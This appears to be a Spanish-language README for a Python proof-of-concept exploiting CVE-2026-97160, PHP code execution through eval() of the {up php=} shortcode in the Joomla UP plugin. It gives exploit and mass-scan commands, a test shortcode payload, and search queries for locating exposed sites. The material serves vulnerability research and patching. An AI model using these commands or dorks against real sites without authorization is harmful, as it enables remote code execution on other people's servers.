murrez/cve-2026-97160Prueba de concepto en Python para CVE-2026-97160: detecta versiones vulnerables del plugin UP de Joomla y verifica la ejecución de código PHP mediante el shortcode {up php=} en artículos públicos.
PoC en Python 3 para CVE-2026-97160 — UP (Universal Plugin) para Joomla (lomart.fr / up.lomart.fr).
CVE-2026-97160 — El plugin UP 5.0.0–5.2.0 y 6.0.0–6.0.29 permiten la inyección de código PHP a través de los shortcodes {up php=...} procesados con eval() (CWE-94). El CNA lo clasifica como autenticado / con privilegios elevados; antes de 6.1.0 / 5.2.1, los autores de artículos podían eludir las comprobaciones de acciones reservadas mediante la normalización de nombres entre guardado y renderizado, por lo que el PHP de un artículo se ejecutaba para todos los visitantes. CVSS 4.0 9.4 Crítico. Solución: UP 6.1.0 (Joomla 5.2+) o 5.2.1 (Joomla 3.10–5.1).
Relacionados (misma versión): CVE-2026-97161 (lectura de archivos / traversal), CVE-2026-97162 (SQLi), CVE-2026-97163 (mini-instalación de GitHub).
Página del PoC: https://pocbit.org/pocs/cve-2026-97160
Catálogo: https://pocbit.org/pocs/
| Producto | Plugin UP para Joomla (plg_content_up) |
| Ruta | plugins/content/up/ |
| Afectados | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Corregido | 5.2.1, 6.1.0 |
| Vector | Shortcode de artículo/módulo {up php=...} |
| Asignador | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Laboratorio: Como administrador (o autor en compilaciones vulnerables), añade al cuerpo del artículo:
{up php=echo 'POCBIT-97160-OK';}
Publica y luego ejecuta --mode exploit --article-url <URL pública>.
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
PoC de CVE-2026-97160: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — inyección de código mediante eval del shortcode privilegiado {up php=} (elusión por parte del autor en compilaciones antiguas). PoCbit
CVE-2026-97160: Ejecución de PHP en el servidor mediante {up php=...} en el plugin UP de Joomla; corregido en 6.1.0 / 5.2.1.
Solo pruebas autorizadas. No publiques shortcodes maliciosos en sitios que no sean de tu propiedad.